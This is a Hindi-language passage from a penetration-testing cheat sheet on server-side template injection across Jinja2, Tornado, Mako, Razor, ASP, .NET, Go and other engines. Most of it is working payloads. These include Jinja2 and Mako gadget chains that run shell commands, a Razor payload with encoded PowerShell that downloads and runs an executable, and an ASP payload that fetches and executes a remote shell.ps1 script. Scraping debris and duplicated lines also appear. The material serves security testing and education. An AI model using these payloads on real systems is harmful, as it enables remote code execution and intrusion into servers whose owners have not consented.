अन्य Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

निम्नलिखित पृष्ठ देखें ताकि आप arbitrary command execution bypassing sandboxes in python के बारे में ट्रिक्स सीख सकें:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

अधिक जानकारी

Jinja2 (Python)

Official website

Jinja2 Python के लिए एक पूर्ण सुविधाओं वाला template engine है। इसमें पूर्ण Unicode समर्थन, एक वैकल्पिक integrated sandboxed execution environment है, यह व्यापक रूप से उपयोग में है और BSD licensed है।

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - टेम्पलेट प्रारूप

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE पर निर्भर नहीं __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinja का दुरुपयोग करने के बारे में और विवरण:

Jinja2 SSTI

अन्य payloads इस लिंक पर: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

अधिक जानकारी

अन्य Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

.NET System.Diagnostics.Process.Start method का उपयोग सर्वर पर किसी भी process को शुरू करने और इस प्रकार webshell बनाने के लिए किया जा सकता है। आप एक vulnerable webapp example पा सकते हैं https://github.com/cnotin/RazorVulnerableApp

अधिक जानकारी

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

अधिक जानकारी

.Net प्रतिबंधों को बायपास करना

.NET Reflection mechanisms का उपयोग blacklisting या assembly में classes न होने जैसी स्थितियों को बायपास करने के लिए किया जा सकता है। DLL’s को runtime में लोड किया जा सकता है, जिससे methods और properties basic objects से access योग्य हो जाती हैं।

Dll’s निम्नलिखित तरीकों से लोड किए जा सकते हैं:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - from filesystem.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - directly from request.

पूर्ण कमांड निष्पादन:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

अधिक जानकारी

Mojolicious (Perl)

यहाँ तक कि यह Perl होने पर भी यह Ruby के ERB जैसे टैग्स का उपयोग करता है।

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

Go के template engine में, इसके उपयोग की पुष्टि विशिष्ट payloads से की जा सकती है:

  • {{ . }}: डेटा संरचना इनपुट को प्रकट करता है। उदाहरण के लिए, यदि किसी ऑब्जेक्ट में Password attribute हो, तो {{ .Password }} उसे उजागर कर सकता है।
  • {{printf "%s" "ssti" }}: यह अपेक्षित रूप से स्ट्रिंग “ssti” दिखाएगा।
  • {{html "ssti"}}, {{js "ssti"}}: ये payloads “ssti” लौटाना चाहिए बिना “html” या “js” जोड़ने के। अतिरिक्त निर्देश Go documentation here में देखे जा सकते हैं।

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

text/template package के साथ, XSS सीधे payload डालकर सरल हो सकता है। इसके विपरीत, html/template package प्रतिक्रिया को encode करता है ताकि यह रोका जा सके (उदा., {{"<script>alert(1)</script>"}} का परिणाम &lt;script&gt;alert(1)&lt;/script&gt; होता है)। हालांकि, Go में template definition और invocation इस encoding को बायपास कर सकते हैं: {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Copy code

RCE Exploitation

RCE exploitation html/template और text/template के बीच काफी अलग है। text/template module किसी भी public function को सीधे (using the “call” value) कॉल करने की अनुमति देता है, जो html/template में अनुमति नहीं है। इन modules के लिए documentation here for html/template और here for text/template पर उपलब्ध है।

Go में SSTI के जरिए RCE के लिए, ऑब्जेक्ट के methods को invoke किया जा सकता है। उदाहरण के लिए, यदि दिया गया ऑब्जेक्ट एक System method रखता है जो commands execute करता है, तो इसे {{ .System "ls" }} जैसे प्रयोग से exploit किया जा सकता है। सामान्यतः इसे exploit करने के लिए source code तक पहुंच आवश्यक होती है, जैसा कि दिए गए उदाहरण में है:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

अधिक जानकारी

LESS (CSS Preprocessor)

LESS एक लोकप्रिय CSS pre-processor है जो variables, mixins, functions और शक्तिशाली @import निर्देश जोड़ता है। संकलन के दौरान LESS engine @import में संदर्भित संसाधनों को प्राप्त करेगा और जब (inline) विकल्प उपयोग किया जाता है तो उनकी सामग्री परिणामस्वरूप CSS में एम्बेड (“inline”) कर देगा।

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

More Exploits

Check the rest of https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection for more exploits. Also you can find interesting tags information in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

If you think it could be useful, read:

Tools

Brute-Force Detection List

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

संदर्भ

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें